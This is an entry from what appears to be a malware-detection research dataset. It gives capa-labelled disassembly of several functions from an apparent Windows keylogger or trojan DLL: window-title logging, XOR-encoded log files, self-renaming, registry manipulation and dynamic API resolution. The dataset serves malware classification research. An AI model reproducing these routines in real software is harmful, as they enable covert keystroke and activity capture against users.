joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b040
Capabilities:
Delete file
Move file

Disassembly:
sub esp, 0x314
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetTickCount
mov ebx, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.MoveFileExA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov ecx, dword [0x10021cf0]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x220]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.wsprintfA
push str.USER32.dll
call esi
push eax
call edi
mov dword [esp + 0x10], eax
call ebp
push eax
lea edx, [esp + 0x1c]
push str._d.bak
push edx
call dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x220]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea edx, [esp + 0x1c]
push 0
push edx
call dword [esp + 0x20]
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
push eax
call edi
lea ecx, [esp + 0x11c]
push 0x104
push ecx
call eax
lea edx, [esp + 0x11c]
push str.Server.dat
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebx + 0x9e54], 0x120
je 0x1000b13b
lea ecx, [ebx + 0x10]
push ecx
push str.winlogon.exe
call fcn.10008ca0
add esp, 8
jmp 0x1000b147
lea edx, [ebx + 0x10]
push edx
call fcn.100071b0
add esp, 4
add ebx, 0x110
push ebx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret

Function at 0x1000b2e0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.SetFilePointer
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0
mov ebx, eax
mov eax, dword [0x10021ce8]
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000b346
push 2
push 0
push 0
push ebp
call ebx
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov ebx, dword [esp + 0x18]
push ebx
call eax
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x1000b37f
mov ecx, ebx
mov edx, esi
sub ecx, edi
mov bl, byte [ecx + eax]
xor bl, 0x62
mov byte [eax], bl
inc eax
dec edx
jne 0x1000b373
lea ecx, [esp + 0x10]
push 0
push ecx
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000b3b0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebp
push esi
mov esi, dword [esp + 0x91c]
push edi
test esi, esi
je 0x1000b58b
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
cmp ebp, 1
jb 0x1000b58b
cmp ebp, 0x80
ja 0x1000b58b
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x10021ce8]
cmp eax, dword [edx + 8]
je 0x1000b535
mov dword [edx + 8], eax
mov ecx, dword [0x10021ce8]
push ebx
lea eax, [esp + 0x20]
mov edx, dword [ecx + 8]
push pe_nt_image_headers32
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x120]
rep stosd dword es:[edi], eax
mov edi, str.d:_02d:_02d____s__r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._r_n__02d__02d__d__02
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov edi, str._r_n__02d__02d__d__02
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.wsprintfA
mov edx, ecx
mov esi, edi
mov edi, ebx
push str.USER32.dll
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.d:_02d:_02d____s__r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1c]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x26]
push ecx
mov ecx, dword [esp + 0x26]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
lea edx, [esp + 0x13c]
push ebx
push edx
call eax
lea eax, [esp + 0x144]
push eax
call fcn.1000b3b0
mov edx, dword [0x10021ce8]
mov esi, dword [esp + 0x94c]
add esp, 0x28
pop ebx
mov al, byte [edx + 0xc]
test al, al
je 0x1000b54b
push esi
call fcn.1000b2e0
mov edx, dword [0x10021ce8]
add esp, 4
mov edi, dword [edx]
mov ecx, ebp
add ecx, edi
cmp ecx, 0x400
jbe 0x1000b576
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x10021ce8]
mov dword [edx], eax
mov edx, dword [0x10021ce8]
add edx, 0x111
push esi
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10021ce8]
add dword [eax], ebp
pop edi
pop esi
pop ebp
add esp, 0x910
ret
Function at 0x1000b81d
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019f90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], esp
push 0x1001c760
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0x54
call sub.MSVCRT.dll__CxxThrowException
lea ecx, [ebp - 0x34]
lea edx, [ebp - 0x34]
mov esi, 0x1001b494
xor ebx, ebx
mov dword [ebp - 0x3c], ecx
push edx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x38], ebx
call fcn.1000b940
mov dl, 0x6b
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x1f], dl
mov cl, 0x73
mov byte [ebp - 0x18], dl
lea edx, [ebp - 0x20]
neg eax
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x19], cl
sbb eax, eax
lea ecx, [ebp - 0x40]
push edx
push 0x594
and eax, ecx
push ebx
push 4
push eax
push 0xffffffffffffffff
mov byte [ebp - 0x20], 0x5f
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1c], 0x70
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x17], 0x79
mov byte [ebp - 0x16], bl
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [0x10021cec], eax
jne 0x1000b8cd
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], esi
cmp eax, ebx
je 0x1000b8b4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x1000b8ba
ret
push ebx
push ebx
push ebx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10021ce8], eax
cmp eax, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], esi
jne 0x1000b914
cmp eax, ebx
je 0x1000b8fb
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x1000b901
ret
cmp eax, ebx
je 0x1000b927
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x1000b92d
ret
Function at 0x1000bcd0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
push str.GetSystemDirectoryA
mov ebp, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x10]
xor edi, edi
push 0x104
push ecx
mov dword [esp + 0x14], edi
call eax
lea edx, [esp + 0x10]
push str.Server.dat
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x24]
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000bd85
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x10]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x1000bd70
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x1000bd62
push edi
push esi
mov ecx, ebp
call fcn.1000bc50
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x1000c460
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b4c0
push 0x10019a80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
push str.RegDeleteKeyA
push str.ADVAPI32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x24], eax
push str.RegCreateKeyExA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov esi, eax
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x1000c4d7
jmp dword [eax*4 + 0x1000c60c]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push edi
push 0xf003f
push edi
push edi
push edi
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call ebx
test eax, eax
jne case.default.0x1000c4d7
lea ecx, [ebp - 0x2c]
push ecx
push 0x2001f
push edi
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000c4d7
mov ebx, dword [ebp + 0x14]
cmp ebx, edi
jbe case.default.0x1000c4d7
cmp ebx, 2
jbe 0x1000c555
cmp ebx, 4
jne case.default.0x1000c4d7
push ebx
lea ecx, [ebp + 0x1c]
push ecx
push ebx
push edi
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call esi
test eax, eax
jne case.default.0x1000c4d7
jmp 0x1000c5d2
mov edx, dword [ebp + 0x18]
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push ebx
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call esi
test eax, eax
jne case.default.0x1000c4d7
jmp 0x1000c5d2
lea eax, [ebp - 0x2c]
push eax
push 0x2001f
push edi
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000c4d7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x24]
test eax, eax
jne case.default.0x1000c4d7
jmp 0x1000c5d2
lea edx, [ebp - 0x2c]
push edx
push 0x2001f
push edi
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x1000c4d7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x1000c4d7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000c5f9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c740
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x40
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.LocalAlloc
mov esi, ecx
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.LocalReAlloc
push str.KERNEL32.dll
mov edi, eax
call ebx
push eax
call ebp
mov edx, dword [esi + 4]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x18]
xor ebp, ebp
push eax
push 0xf003f
lea ecx, [esi + 8]
push ebp
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c8f3
push eax
push eax
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x40]
push eax
lea edx, [esp + 0x48]
push ecx
push edx
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x3c]
push ebp
lea ecx, [esp + 0x28]
push eax
push ecx
push ebp
push ebp
push ebp
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000c7d4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret
mov eax, dword [esp + 0x28]
lea ebx, [eax + 1]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000c8f3
cmp ebx, 1
jbe 0x1000c8f3
mov ebp, ebx
imul ebp, eax
add ebp, 0xe
push ebp
push 0x40
call edi
mov ecx, ebp
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x24], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x87
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x4c]
mov dword [edx], eax
mov al, byte [esp + 0x50]
mov dword [edx + 4], ebx
mov dword [edx + 8], ecx
mov byte [edx + 0xc], al
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x20], esi
test eax, eax
mov dword [esp + 0x14], 0
jbe 0x1000c8d1
mov ecx, dword [esp + 0x24]
add ecx, 0xd
mov dword [esp + 0x1c], ecx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x38]
push 0
push eax
push esi
push ecx
push edx
mov dword [esp + 0x4c], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x20]
cmp eax, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], edx
jb 0x1000c85d
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x24]
push 0x42
push ebp
push edx
call dword [esp + 0x3c]
mov ebp, eax
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40
ret
Function at 0x1000cdb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp]
push eax
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
inc eax
pop ecx
ret 8

Function at 0x1000d1a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1001a038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000cba0
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000d29a
test ebx, ebx
jbe 0x1000d242
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000cc70
test eax, eax
je 0x1000d291
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000ccd0
test eax, eax
je 0x1000d291
mov ecx, dword [esp + 0x10]
call fcn.1000cef0
jmp 0x1000d29a
mov ecx, dword [esp + 0x10]
call fcn.1000ced0
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000cc00
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000d300
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001a058
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000cba0
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000d42a
test ebp, ebp
jbe 0x1000d42a
test esi, esi
jle 0x1000d3c4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000cc70
test eax, eax
jne 0x1000d3b1
mov ecx, dword [esp + 0x10]
call fcn.1000ced0
jmp 0x1000d42a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000cd60
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000d418
call fcn.1000cef0
jmp 0x1000d41d
call fcn.1000ced0
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000cc00
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000d490
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001a078
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000cba0
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x20], eax
mov ecx, dword [ecx + 8]
test ecx, ecx
jbe 0x1000d5be
test eax, eax
jbe 0x1000d5be
test esi, esi
jle 0x1000d554
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000cc70
test eax, eax
jne 0x1000d541
mov ecx, dword [esp + 0x10]
call fcn.1000ced0
jmp 0x1000d5be
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x24]
add esp, 4
lea esi, [eax + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x24]
mov edi, ebp
mov ecx, eax
add ebx, eax
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.1000d450
add esp, 8
lea ecx, [esp + 0x14]
push eax
push ebp
call fcn.1000cd20
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000d5b0
call fcn.1000cef0
jmp 0x1000d5b5
call fcn.1000ced0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000cc00
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000d5f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001a098
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000cba0
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000d71a
test ebp, ebp
jbe 0x1000d71a
test esi, esi
jle 0x1000d6b4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000cc70
test eax, eax
jne 0x1000d6a1
mov ecx, dword [esp + 0x10]
call fcn.1000ced0
jmp 0x1000d71a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000cdf0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000d708
call fcn.1000cef0
jmp 0x1000d70d
call fcn.1000ced0
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000cc00
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4